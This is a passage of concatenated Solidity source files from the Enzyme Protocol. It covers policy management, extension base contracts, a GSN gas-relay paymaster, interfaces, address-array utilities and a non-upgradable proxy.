on a fund, then this will not correctly disable the policy from any /// removed hook values. function disablePolicyForFund(address _comptrollerProxy, address _policy) external onlyFundOwner(_comptrollerProxy) { require(IPolicy(_policy).canDisable(), "disablePolicyForFund: _policy cannot be disabled"); PolicyHook[] memory implementedHooks = IPolicy(_policy).implementedHooks(); for (uint256 i; i < implementedHooks.length; i++) { bool disabled = comptrollerProxyToHookToPolicies[_comptrollerProxy][implementedHooks[i]] .removeStorageItem(_policy); if (disabled) { emit PolicyDisabledOnHookForFund(_comptrollerProxy, _policy, implementedHooks[i]); } } } /// @notice Enables a policy for a fund /// @param _comptrollerProxy The ComptrollerProxy of the fund /// @param _policy The policy address to enable /// @param _settingsData The encoded settings data with which to configure the policy /// @dev Disabling a policy does not delete fund config on the policy, so if a policy is /// disabled and then enabled again, its initial state will be the previous config. It is the /// policy's job to determine how to merge that config with the _settingsData param in this function. function enablePolicyForFund( address _comptrollerProxy, address _policy, bytes calldata _settingsData ) external onlyFundOwner(_comptrollerProxy) { PolicyHook[] memory implementedHooks = IPolicy(_policy).implementedHooks(); for (uint256 i; i < implementedHooks.length; i++) { require( !__policyHookRestrictsCurrentInvestorActions(implementedHooks[i]), "enablePolicyForFund: _policy restricts actions of current investors" ); } __enablePolicyForFund(_comptrollerProxy, _policy, _settingsData, implementedHooks); __activatePolicyForFund(_comptrollerProxy, _policy); } /// @notice Enable policies for use in a fund /// @param _comptrollerProxy The ComptrollerProxy of the fund /// @param _vaultProxy The VaultProxy of the fund /// @param _configData Encoded config data function setConfigForFund( address _comptrollerProxy, address _vaultProxy, bytes calldata _configData ) external override onlyFundDeployer { __setValidatedVaultProxy(_comptrollerProxy, _vaultProxy); // In case there are no policies yet if (_configData.length == 0) { return; } (address[] memory policies, bytes[] memory settingsData) = abi.decode( _configData, (address[], bytes[]) ); // Sanity check require( policies.length == settingsData.length, "setConfigForFund: policies and settingsData array lengths unequal" ); // Enable each policy with settings for (uint256 i; i < policies.length; i++) { __enablePolicyForFund( _comptrollerProxy, policies[i], settingsData[i], IPolicy(policies[i]).implementedHooks() ); } } /// @notice Updates policy settings for a fund /// @param _comptrollerProxy The ComptrollerProxy of the fund /// @param _policy The Policy contract to update /// @param _settingsData The encoded settings data with which to update the policy config function updatePolicySettingsForFund( address _comptrollerProxy, address _policy, bytes calldata _settingsData ) external onlyFundOwner(_comptrollerProxy) { IPolicy(_policy).updateFundSettings(_comptrollerProxy, _settingsData); } /// @notice Validates all policies that apply to a given hook for a fund /// @param _comptrollerProxy The ComptrollerProxy of the fund /// @param _hook The PolicyHook for which to validate policies /// @param _validationData The encoded data with which to validate the filtered policies function validatePolicies( address _comptrollerProxy, PolicyHook _hook, bytes calldata _validationData ) external override { // Return as quickly as possible if no policies to run address[] memory policies = getEnabledPoliciesOnHookForFund(_comptrollerProxy, _hook); if (policies.length == 0) { return; } // Limit calls to trusted components, in case policies update local storage upon runs require( msg.sender == _comptrollerProxy || msg.sender == IComptroller(_comptrollerProxy).getIntegrationManager() || msg.sender == IComptroller(_comptrollerProxy).getExternalPositionManager(), "validatePolicies: Caller not allowed" ); for (uint256 i; i < policies.length; i++) { require( IPolicy(policies[i]).validateRule(_comptrollerProxy, _hook, _validationData), string( abi.encodePacked( "Rule evaluated to false: ", IPolicy(policies[i]).identifier() ) ) ); } } // PRIVATE FUNCTIONS /// @dev Helper to activate a policy for a fund function __activatePolicyForFund(address _comptrollerProxy, address _policy) private { IPolicy(_policy).activateForFund(_comptrollerProxy); } /// @dev Helper to set config and enable policies for a fund function __enablePolicyForFund( address _comptrollerProxy, address _policy, bytes memory _settingsData, PolicyHook[] memory _hooks ) private { // Set fund config on policy if (_settingsData.length > 0) { IPolicy(_policy).addFundSettings(_comptrollerProxy, _settingsData); } // Add policy for (uint256 i; i < _hooks.length; i++) { require( !policyIsEnabledOnHookForFund(_comptrollerProxy, _hooks[i], _policy), "__enablePolicyForFund: Policy is already enabled" ); comptrollerProxyToHookToPolicies[_comptrollerProxy][_hooks[i]].push(_policy); } emit PolicyEnabledForFund(_comptrollerProxy, _policy, _settingsData); } /// @dev Helper to get all the hooks available to policies function __getAllPolicyHooks() private pure returns (PolicyHook[POLICY_HOOK_COUNT] memory hooks_) { return [ PolicyHook.PostBuyShares, PolicyHook.PostCallOnIntegration, PolicyHook.PreTransferShares, PolicyHook.RedeemSharesForSpecificAssets, PolicyHook.AddTrackedAssets, PolicyHook.RemoveTrackedAssets, PolicyHook.CreateExternalPosition, PolicyHook.PostCallOnExternalPosition, PolicyHook.RemoveExternalPosition, PolicyHook.ReactivateExternalPosition ]; } /// @dev Helper to check if a policy hook restricts the actions of current investors. /// These hooks should not allow policy additions post-deployment or post-migration. function __policyHookRestrictsCurrentInvestorActions(PolicyHook _hook) private pure returns (bool restrictsActions_) { return _hook == PolicyHook.PreTransferShares || _hook == PolicyHook.RedeemSharesForSpecificAssets; } /////////////////// // STATE GETTERS // /////////////////// /// @notice Get a list of enabled policies for the given fund /// @param _comptrollerProxy The ComptrollerProxy /// @return enabledPolicies_ The array of enabled policy addresses function getEnabledPoliciesForFund(address _comptrollerProxy) public view returns (address[] memory enabledPolicies_) { PolicyHook[POLICY_HOOK_COUNT] memory hooks = __getAllPolicyHooks(); for (uint256 i; i < hooks.length; i++) { enabledPolicies_ = enabledPolicies_.mergeArray( getEnabledPoliciesOnHookForFund(_comptrollerProxy, hooks[i]) ); } return enabledPolicies_; } /// @notice Get a list of enabled policies that run on a given hook for the given fund /// @param _comptrollerProxy The ComptrollerProxy /// @param _hook The PolicyHook /// @return enabledPolicies_ The array of enabled policy addresses function getEnabledPoliciesOnHookForFund(address _comptrollerProxy, PolicyHook _hook) public view returns (address[] memory enabledPolicies_) { return comptrollerProxyToHookToPolicies[_comptrollerProxy][_hook]; } /// @notice Check whether a given policy runs on a given hook for a given fund /// @param _comptrollerProxy The ComptrollerProxy /// @param _hook The PolicyHook /// @param _policy The policy /// @return isEnabled_ True if the policy is enabled function policyIsEnabledOnHookForFund( address _comptrollerProxy, PolicyHook _hook, address _policy ) public view returns (bool isEnabled_) { return getEnabledPoliciesOnHookForFund(_comptrollerProxy, _hook).contains(_policy); } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]e.finance> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; import "../../utils/FundDeployerOwnerMixin.sol"; import "../IExtension.sol"; /// @title ExtensionBase Contract /// @author Enzyme Council <[email protected]> /// @notice Base class for an extension abstract contract ExtensionBase is IExtension, FundDeployerOwnerMixin { event ValidatedVaultProxySetForFund( address indexed comptrollerProxy, address indexed vaultProxy ); mapping(address => address) internal comptrollerProxyToVaultProxy; modifier onlyFundDeployer() { require(msg.sender == getFundDeployer(), "Only the FundDeployer can make this call"); _; } constructor(address _fundDeployer) public FundDeployerOwnerMixin(_fundDeployer) {} /// @notice Allows extension to run logic during fund activation /// @dev Unimplemented by default, may be overridden. function activateForFund(bool) external virtual override { return; } /// @notice Allows extension to run logic during fund deactivation (destruct) /// @dev Unimplemented by default, may be overridden. function deactivateForFund() external virtual override { return; } /// @notice Receives calls from ComptrollerLib.callOnExtension() /// and dispatches the appropriate action /// @dev Unimplemented by default, may be overridden. function receiveCallFromComptroller( address, uint256, bytes calldata ) external virtual override { revert("receiveCallFromComptroller: Unimplemented for Extension"); } /// @notice Allows extension to run logic during fund configuration /// @dev Unimplemented by default, may be overridden. function setConfigForFund( address, address, bytes calldata ) external virtual override { return; } /// @dev Helper to store the validated ComptrollerProxy-VaultProxy relation function __setValidatedVaultProxy(address _comptrollerProxy, address _vaultProxy) internal { comptrollerProxyToVaultProxy[_comptrollerProxy] = _vaultProxy; emit ValidatedVaultProxySetForFund(_comptrollerProxy, _vaultProxy); } /////////////////// // STATE GETTERS // /////////////////// /// @notice Gets the verified VaultProxy for a given ComptrollerProxy /// @param _comptrollerProxy The ComptrollerProxy of the fund /// @return vaultProxy_ The VaultProxy of the fund function getVaultProxyForFund(address _comptrollerProxy) public view returns (address vaultProxy_) { return comptrollerProxyToVaultProxy[_comptrollerProxy]; } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "../../interfaces/IGsnRelayHub.sol"; import "../../interfaces/IGsnTypes.sol"; import "../../interfaces/IWETH.sol"; import "../../core/fund/comptroller/ComptrollerLib.sol"; import "../../core/fund/vault/IVault.sol"; import "../../core/fund-deployer/FundDeployer.sol"; import "../../extensions/policy-manager/PolicyManager.sol"; import "./bases/GasRelayPaymasterLibBase1.sol"; import "./IGasRelayPaymaster.sol"; import "./IGasRelayPaymasterDepositor.sol"; /// @title GasRelayPaymasterLib Contract /// @author Enzyme Council <[email protected]> /// @notice The core logic library for the "paymaster" contract which refunds GSN relayers contract GasRelayPaymasterLib is IGasRelayPaymaster, GasRelayPaymasterLibBase1 { using SafeMath for uint256; // Immutable and constants // Sane defaults, subject to change after gas profiling uint256 private constant CALLDATA_SIZE_LIMIT = 10500; // Deposit in wei uint256 private constant DEPOSIT = 0.2 ether; // Sane defaults, subject to change after gas profiling uint256 private constant PRE_RELAYED_CALL_GAS_LIMIT = 100000; uint256 private constant POST_RELAYED_CALL_GAS_LIMIT = 110000; // FORWARDER_HUB_OVERHEAD = 50000; // PAYMASTER_ACCEPTANCE_BUDGET = FORWARDER_HUB_OVERHEAD + PRE_RELAYED_CALL_GAS_LIMIT uint256 private constant PAYMASTER_ACCEPTANCE_BUDGET = 150000; address private immutable RELAY_HUB; address private immutable TRUSTED_FORWARDER; address private immutable WETH_TOKEN; modifier onlyComptroller() { require( msg.sender == getParentComptroller(), "Can only be called by the parent comptroller" ); _; } modifier relayHubOnly() { require(msg.sender == getHubAddr(), "Can only be called by RelayHub"); _; } constructor( address _wethToken, address _relayHub, address _trustedForwarder ) public { RELAY_HUB = _relayHub; TRUSTED_FORWARDER = _trustedForwarder; WETH_TOKEN = _wethToken; } // INIT /// @notice Initializes a paymaster proxy /// @param _vault The VaultProxy associated with the paymaster proxy /// @dev Used to set the owning vault function init(address _vault) external { require(getParentVault() == address(0), "init: Paymaster already initialized"); parentVault = _vault; } // EXTERNAL FUNCTIONS /// @notice Pull deposit from the vault and reactivate relaying function deposit() external override onlyComptroller { __depositMax(); } /// @notice Checks whether the paymaster will pay for a given relayed tx /// @param _relayRequest The full relay request structure /// @return context_ The tx signer and the fn sig, encoded so that it can be passed to `postRelayCall` /// @return rejectOnRecipientRevert_ Always false function preRelayedCall( IGsnTypes.RelayRequest calldata _relayRequest, bytes calldata, bytes calldata, uint256 ) external override relayHubOnly returns (bytes memory context_, bool rejectOnRecipientRevert_) { address vaultProxy = getParentVault(); require( IVault(vaultProxy).canRelayCalls(_relayRequest.request.from), "preRelayedCall: Unauthorized caller" ); bytes4 selector = __parseTxDataFunctionSelector(_relayRequest.request.data); require( __isAllowedCall( vaultProxy, _relayRequest.request.to, selector, _relayRequest.request.data ), "preRelayedCall: Function call not permitted" ); return (abi.encode(_relayRequest.request.from, selector), false); } /// @notice Called by the relay hub after the relayed tx is executed, tops up deposit if flag passed through paymasterdata is true /// @param _context The context constructed by preRelayedCall (used to pass data from pre to post relayed call) /// @param _success Whether or not the relayed tx succeed /// @param _relayData The relay params of the request. can be used by relayHub.calculateCharge() function postRelayedCall( bytes calldata _context, bool _success, uint256, IGsnTypes.RelayData calldata _relayData ) external override relayHubOnly { bool shouldTopUpDeposit = abi.decode(_relayData.paymasterData, (bool)); if (shouldTopUpDeposit) { __depositMax(); } (address spender, bytes4 selector) = abi.decode(_context, (address, bytes4)); emit TransactionRelayed(spender, selector, _success); } /// @notice Send any deposited ETH back to the vault function withdrawBalance() external override { address vaultProxy = getParentVault(); require( msg.sender == IVault(vaultProxy).getOwner() || msg.sender == __getComptrollerForVault(vaultProxy), "withdrawBalance: Only owner or comptroller is authorized" ); IGsnRelayHub(getHubAddr()).withdraw(getRelayHubDeposit(), payable(address(this))); uint256 amount = address(this).balance; Address.sendValue(payable(vaultProxy), amount); emit Withdrawn(amount); } // PUBLIC FUNCTIONS /// @notice Gets the current ComptrollerProxy of the VaultProxy associated with this contract /// @return parentComptroller_ The ComptrollerProxy function getParentComptroller() public view returns (address parentComptroller_) { return __getComptrollerForVault(parentVault); } // PRIVATE FUNCTIONS /// @dev Helper to pull WETH from the associated vault to top up to the max ETH deposit in the relay hub function __depositMax() private { uint256 prevDeposit = getRelayHubDeposit(); if (prevDeposit < DEPOSIT) { uint256 amount = DEPOSIT.sub(prevDeposit); IGasRelayPaymasterDepositor(getParentComptroller()).pullWethForGasRelayer(amount); IWETH(getWethToken()).withdraw(amount); IGsnRelayHub(getHubAddr()).depositFor{value: amount}(address(this)); emit Deposited(amount); } } /// @dev Helper to get the ComptrollerProxy for a given VaultProxy function __getComptrollerForVault(address _vaultProxy) private view returns (address comptrollerProxy_) { return IVault(_vaultProxy).getAccessor(); } /// @dev Helper to check if a contract call is allowed to be relayed using this paymaster /// Allowed contracts are: /// - VaultProxy /// - ComptrollerProxy /// - PolicyManager /// - FundDeployer function __isAllowedCall( address _vaultProxy, address _contract, bytes4 _selector, bytes calldata _txData ) private view returns (bool allowed_) { if (_contract == _vaultProxy) { // All calls to the VaultProxy are allowed return true; } address parentComptroller = __getComptrollerForVault(_vaultProxy); if (_contract == parentComptroller) { if ( _selector == ComptrollerLib.callOnExtension.selector || _selector == ComptrollerLib.vaultCallOnContract.selector || _selector == ComptrollerLib.buyBackProtocolFeeShares.selector || _selector == ComptrollerLib.depositToGasRelayPaymaster.selector || _selector == ComptrollerLib.setAutoProtocolFeeSharesBuyback.selector ) { return true; } } else if (_contract == ComptrollerLib(parentComptroller).getPolicyManager()) { if ( _selector == PolicyManager.updatePolicySettingsForFund.selector || _selector == PolicyManager.enablePolicyForFund.selector || _selector == PolicyManager.disablePolicyForFund.selector ) { return __parseTxDataFirstParameterAsAddress(_txData) == getParentComptroller(); } } else if (_contract == ComptrollerLib(parentComptroller).getFundDeployer()) { if ( _selector == FundDeployer.createReconfigurationRequest.selector || _selector == FundDeployer.executeReconfiguration.selector || _selector == FundDeployer.cancelReconfiguration.selector ) { return __parseTxDataFirstParameterAsAddress(_txData) == getParentVault(); } } return false; } /// @notice Parses the first parameter of tx data as an address /// @param _txData The tx data to retrieve the address from /// @return retrievedAddress_ The extracted address function __parseTxDataFirstParameterAsAddress(bytes calldata _txData) private pure returns (address retrievedAddress_) { require( _txData.length >= 36, "__parseTxDataFirstParameterAsAddress: _txData is not a valid length" ); return abi.decode(_txData[4:36], (address)); } /// @notice Parses the function selector from tx data /// @param _txData The tx data /// @return functionSelector_ The extracted function selector function __parseTxDataFunctionSelector(bytes calldata _txData) private pure returns (bytes4 functionSelector_) { /// convert bytes[:4] to bytes4 require( _txData.length >= 4, "__parseTxDataFunctionSelector: _txData is not a valid length" ); functionSelector_ = _txData[0] | (bytes4(_txData[1]) >> 8) | (bytes4(_txData[2]) >> 16) | (bytes4(_txData[3]) >> 24); return functionSelector_; } /////////////////// // STATE GETTERS // /////////////////// /// @notice Gets gas limits used by the relay hub for the pre and post relay calls /// @return limits_ `GasAndDataLimits(PAYMASTER_ACCEPTANCE_BUDGET, PRE_RELAYED_CALL_GAS_LIMIT, POST_RELAYED_CALL_GAS_LIMIT, CALLDATA_SIZE_LIMIT)` function getGasAndDataLimits() external view override returns (IGsnPaymaster.GasAndDataLimits memory limits_) { return IGsnPaymaster.GasAndDataLimits( PAYMASTER_ACCEPTANCE_BUDGET, PRE_RELAYED_CALL_GAS_LIMIT, POST_RELAYED_CALL_GAS_LIMIT, CALLDATA_SIZE_LIMIT ); } /// @notice Gets the `RELAY_HUB` variable value /// @return relayHub_ The `RELAY_HUB` value function getHubAddr() public view override returns (address relayHub_) { return RELAY_HUB; } /// @notice Gets the `parentVault` variable value /// @return parentVault_ The `parentVault` value function getParentVault() public view returns (address parentVault_) { return parentVault; } /// @notice Look up amount of ETH deposited on the relay hub /// @return depositBalance_ amount of ETH deposited on the relay hub function getRelayHubDeposit() public view override returns (uint256 depositBalance_) { return IGsnRelayHub(getHubAddr()).balanceOf(address(this)); } /// @notice Gets the `WETH_TOKEN` variable value /// @return wethToken_ The `WETH_TOKEN` value function getWethToken() public view returns (address wethToken_) { return WETH_TOKEN; } /// @notice Gets the `TRUSTED_FORWARDER` variable value /// @return trustedForwarder_ The forwarder contract which is trusted to validated the relayed tx signature function trustedForwarder() external view override returns (address trustedForwarder_) { return TRUSTED_FORWARDER; } /// @notice Gets the string representation of the contract version (fulfills interface) /// @return versionString_ The version string function versionPaymaster() external view override returns (string memory versionString_) { return "2.2.3+opengsn.enzymefund.ipaymaster"; } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ import "../../utils/beacon-proxy/IBeaconProxyFactory.sol"; import "./IGasRelayPaymaster.sol"; pragma solidity 0.6.12; /// @title GasRelayRecipientMixin Contract /// @author Enzyme Council <[email protected]> /// @notice A mixin that enables receiving GSN-relayed calls /// @dev IMPORTANT: Do not use storage var in this contract, /// unless it is no longer inherited by the VaultLib abstract contract GasRelayRecipientMixin { address internal immutable GAS_RELAY_PAYMASTER_FACTORY; constructor(address _gasRelayPaymasterFactory) internal { GAS_RELAY_PAYMASTER_FACTORY = _gasRelayPaymasterFactory; } /// @dev Helper to parse the canonical sender of a tx based on whether it has been relayed function __msgSender() internal view returns (address payable canonicalSender_) { if (msg.data.length >= 24 && msg.sender == getGasRelayTrustedForwarder()) { assembly { canonicalSender_ := shr(96, calldataload(sub(calldatasize(), 20))) } return canonicalSender_; } return msg.sender; } /////////////////// // STATE GETTERS // /////////////////// /// @notice Gets the `GAS_RELAY_PAYMASTER_FACTORY` variable /// @return gasRelayPaymasterFactory_ The `GAS_RELAY_PAYMASTER_FACTORY` variable value function getGasRelayPaymasterFactory() public view returns (address gasRelayPaymasterFactory_) { return GAS_RELAY_PAYMASTER_FACTORY; } /// @notice Gets the trusted forwarder for GSN relaying /// @return trustedForwarder_ The trusted forwarder function getGasRelayTrustedForwarder() public view returns (address trustedForwarder_) { return IGasRelayPaymaster( IBeaconProxyFactory(getGasRelayPaymasterFactory()).getCanonicalLib() ) .trustedForwarder(); } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "../../interfaces/IGsnPaymaster.sol"; /// @title IGasRelayPaymaster Interface /// @author Enzyme Council <[email protected]> interface IGasRelayPaymaster is IGsnPaymaster { function deposit() external; function withdrawBalance() external; } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title IGasRelayPaymasterDepositor Interface /// @author Enzyme Council <[email protected]> interface IGasRelayPaymasterDepositor { function pullWethForGasRelayer(uint256) external; } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title GasRelayPaymasterLibBase1 Contract /// @author Enzyme Council <[email protected]> /// @notice A persistent contract containing all required storage variables and events /// for a GasRelayPaymasterLib /// @dev DO NOT EDIT CONTRACT ONCE DEPLOYED. If new events or storage are necessary, /// they should be added to a numbered GasRelayPaymasterLibBaseXXX that inherits the previous base. /// e.g., `GasRelayPaymasterLibBase2 is GasRelayPaymasterLibBase1` abstract contract GasRelayPaymasterLibBase1 { event Deposited(uint256 amount); event TransactionRelayed(address indexed authorizer, bytes4 invokedSelector, bool successful); event Withdrawn(uint256 amount); // Pseudo-constants address internal parentVault; } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title IProtocolFeeTracker Interface /// @author Enzyme Council <[email protected]> interface IProtocolFeeTracker { function initializeForVault(address) external; function payFee() external returns (uint256); } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title IValueInterpreter interface /// @author Enzyme Council <[email protected]> /// @notice Interface for ValueInterpreter interface IValueInterpreter { function calcCanonicalAssetValue( address, uint256, address ) external returns (uint256); function calcCanonicalAssetsTotalValue( address[] calldata, uint256[] calldata, address ) external returns (uint256); function isSupportedAsset(address) external view returns (bool); function isSupportedDerivativeAsset(address) external view returns (bool); function isSupportedPrimitiveAsset(address) external view returns (bool); } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title IGsnForwarder interface /// @author Enzyme Council <[email protected]> interface IGsnForwarder { struct ForwardRequest { address from; address to; uint256 value; uint256 gas; uint256 nonce; bytes data; uint256 validUntil; } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "./IGsnTypes.sol"; /// @title IGsnPaymaster interface /// @author Enzyme Council <[email protected]> interface IGsnPaymaster { struct GasAndDataLimits { uint256 acceptanceBudget; uint256 preRelayedCallGasLimit; uint256 postRelayedCallGasLimit; uint256 calldataSizeLimit; } function getGasAndDataLimits() external view returns (GasAndDataLimits memory limits); function getHubAddr() external view returns (address); function getRelayHubDeposit() external view returns (uint256); function preRelayedCall( IGsnTypes.RelayRequest calldata relayRequest, bytes calldata signature, bytes calldata approvalData, uint256 maxPossibleGas ) external returns (bytes memory context, bool rejectOnRecipientRevert); function postRelayedCall( bytes calldata context, bool success, uint256 gasUseWithoutPost, IGsnTypes.RelayData calldata relayData ) external; function trustedForwarder() external view returns (address); function versionPaymaster() external view returns (string memory); } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "./IGsnTypes.sol"; /// @title IGsnRelayHub Interface /// @author Enzyme Council <[email protected]> interface IGsnRelayHub { function balanceOf(address target) external view returns (uint256); function calculateCharge(uint256 gasUsed, IGsnTypes.RelayData calldata relayData) external view returns (uint256); function depositFor(address target) external payable; function relayCall( uint256 maxAcceptanceBudget, IGsnTypes.RelayRequest calldata relayRequest, bytes calldata signature, bytes calldata approvalData, uint256 externalGasLimit ) external returns (bool paymasterAccepted, bytes memory returnValue); function withdraw(uint256 amount, address payable dest) external; } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "./IGsnForwarder.sol"; /// @title IGsnTypes Interface /// @author Enzyme Council <[email protected]> interface IGsnTypes { struct RelayData { uint256 gasPrice; uint256 pctRelayFee; uint256 baseRelayFee; address relayWorker; address paymaster; address forwarder; bytes paymasterData; uint256 clientId; } struct RelayRequest { IGsnForwarder.ForwardRequest request; RelayData relayData; } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title WETH Interface /// @author Enzyme Council <[email protected]> interface IWETH { function deposit() external payable; function withdraw(uint256) external; } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title AddressArray Library /// @author Enzyme Council <[email protected]> /// @notice A library to extend the address array data type library AddressArrayLib { ///////////// // STORAGE // ///////////// /// @dev Helper to remove an item from a storage array function removeStorageItem(address[] storage _self, address _itemToRemove) internal returns (bool removed_) { uint256 itemCount = _self.length; for (uint256 i; i < itemCount; i++) { if (_self[i] == _itemToRemove) { if (i < itemCount - 1) { _self[i] = _self[itemCount - 1]; } _self.pop(); removed_ = true; break; } } return removed_; } //////////// // MEMORY // //////////// /// @dev Helper to add an item to an array. Does not assert uniqueness of the new item. function addItem(address[] memory _self, address _itemToAdd) internal pure returns (address[] memory nextArray_) { nextArray_ = new address[](_self.length + 1); for (uint256 i; i < _self.length; i++) { nextArray_[i] = _self[i]; } nextArray_[_self.length] = _itemToAdd; return nextArray_; } /// @dev Helper to add an item to an array, only if it is not already in the array. function addUniqueItem(address[] memory _self, address _itemToAdd) internal pure returns (address[] memory nextArray_) { if (contains(_self, _itemToAdd)) { return _self; } return addItem(_self, _itemToAdd); } /// @dev Helper to verify if an array contains a particular value function contains(address[] memory _self, address _target) internal pure returns (bool doesContain_) { for (uint256 i; i < _self.length; i++) { if (_target == _self[i]) { return true; } } return false; } /// @dev Helper to merge the unique items of a second array. /// Does not consider uniqueness of either array, only relative uniqueness. /// Preserves ordering. function mergeArray(address[] memory _self, address[] memory _arrayToMerge) internal pure returns (address[] memory nextArray_) { uint256 newUniqueItemCount; for (uint256 i; i < _arrayToMerge.length; i++) { if (!contains(_self, _arrayToMerge[i])) { newUniqueItemCount++; } } if (newUniqueItemCount == 0) { return _self; } nextArray_ = new address[](_self.length + newUniqueItemCount); for (uint256 i; i < _self.length; i++) { nextArray_[i] = _self[i]; } uint256 nextArrayIndex = _self.length; for (uint256 i; i < _arrayToMerge.length; i++) { if (!contains(_self, _arrayToMerge[i])) { nextArray_[nextArrayIndex] = _arrayToMerge[i]; nextArrayIndex++; } } return nextArray_; } /// @dev Helper to verify if array is a set of unique values. /// Does not assert length > 0. function isUniqueSet(address[] memory _self) internal pure returns (bool isUnique_) { if (_self.length <= 1) { return true; } uint256 arrayLength = _self.length; for (uint256 i; i < arrayLength; i++) { for (uint256 j = i + 1; j < arrayLength; j++) { if (_self[i] == _self[j]) { return false; } } } return true; } /// @dev Helper to remove items from an array. Removes all matching occurrences of each item. /// Does not assert uniqueness of either array. function removeItems(address[] memory _self, address[] memory _itemsToRemove) internal pure returns (address[] memory nextArray_) { if (_itemsToRemove.length == 0) { return _self; } bool[] memory indexesToRemove = new bool[](_self.length); uint256 remainingItemsCount = _self.length; for (uint256 i; i < _self.length; i++) { if (contains(_itemsToRemove, _self[i])) { indexesToRemove[i] = true; remainingItemsCount--; } } if (remainingItemsCount == _self.length) { nextArray_ = _self; } else if (remainingItemsCount > 0) { nextArray_ = new address[](remainingItemsCount); uint256 nextArrayIndex; for (uint256 i; i < _self.length; i++) { if (!indexesToRemove[i]) { nextArray_[nextArrayIndex] = _self[i]; nextArrayIndex++; } } } return nextArray_; } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; import "../core/fund-deployer/IFundDeployer.sol"; /// @title FundDeployerOwnerMixin Contract /// @author Enzyme Council <[email protected]> /// @notice A mixin contract that defers ownership to the owner of FundDeployer abstract contract FundDeployerOwnerMixin { address internal immutable FUND_DEPLOYER; modifier onlyFundDeployerOwner() { require( msg.sender == getOwner(), "onlyFundDeployerOwner: Only the FundDeployer owner can call this function" ); _; } constructor(address _fundDeployer) public { FUND_DEPLOYER = _fundDeployer; } /// @notice Gets the owner of this contract /// @return owner_ The owner /// @dev Ownership is deferred to the owner of the FundDeployer contract function getOwner() public view returns (address owner_) { return IFundDeployer(FUND_DEPLOYER).getOwner(); } /////////////////// // STATE GETTERS // /////////////////// /// @notice Gets the `FUND_DEPLOYER` variable /// @return fundDeployer_ The `FUND_DEPLOYER` variable value function getFundDeployer() public view returns (address fundDeployer_) { return FUND_DEPLOYER; } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title NonUpgradableProxy Contract /// @author Enzyme Council <[email protected]> /// @notice A proxy contract for use with non-upgradable libs /// @dev The recommended constructor-fallback pattern of a proxy in EIP-1822, updated for solc 0.6.12, /// and using an immutable lib value to save on gas (since not upgradable). /// The EIP-1967 storage slot for the lib is still assigned, /// for ease of referring to UIs that understand the pattern, i.e., Etherscan. abstract contract NonUpgradableProxy { address private immutable CONTRACT_LOGIC; constructor(bytes memory _constructData, address _contractLogic) public { CONTRACT_LOGIC = _contractLogic; assembly { // EIP-1967 slot: `bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)` sstore( 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc, _contractLogic ) } (bool success, bytes memory returnData) = _contractLogic.delegatecall(_constructData); require(success, string(returnData)); } // solhint-disable-next-line no-complex-fallback fallback() external payable { address contractLogic = CONTRACT_LOGIC; assembly { calldatacopy(0x0, 0x0, calldatasize()) let success := delegatecall( sub(gas(), 10000), contractLogic, 0x0, calldatasize(), 0, 0 ) let retSz := returndatasize() returndatacopy(0, 0, retSz) switch success case 0 { revert(0, retSz) } default { return(0, retSz) } } } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council 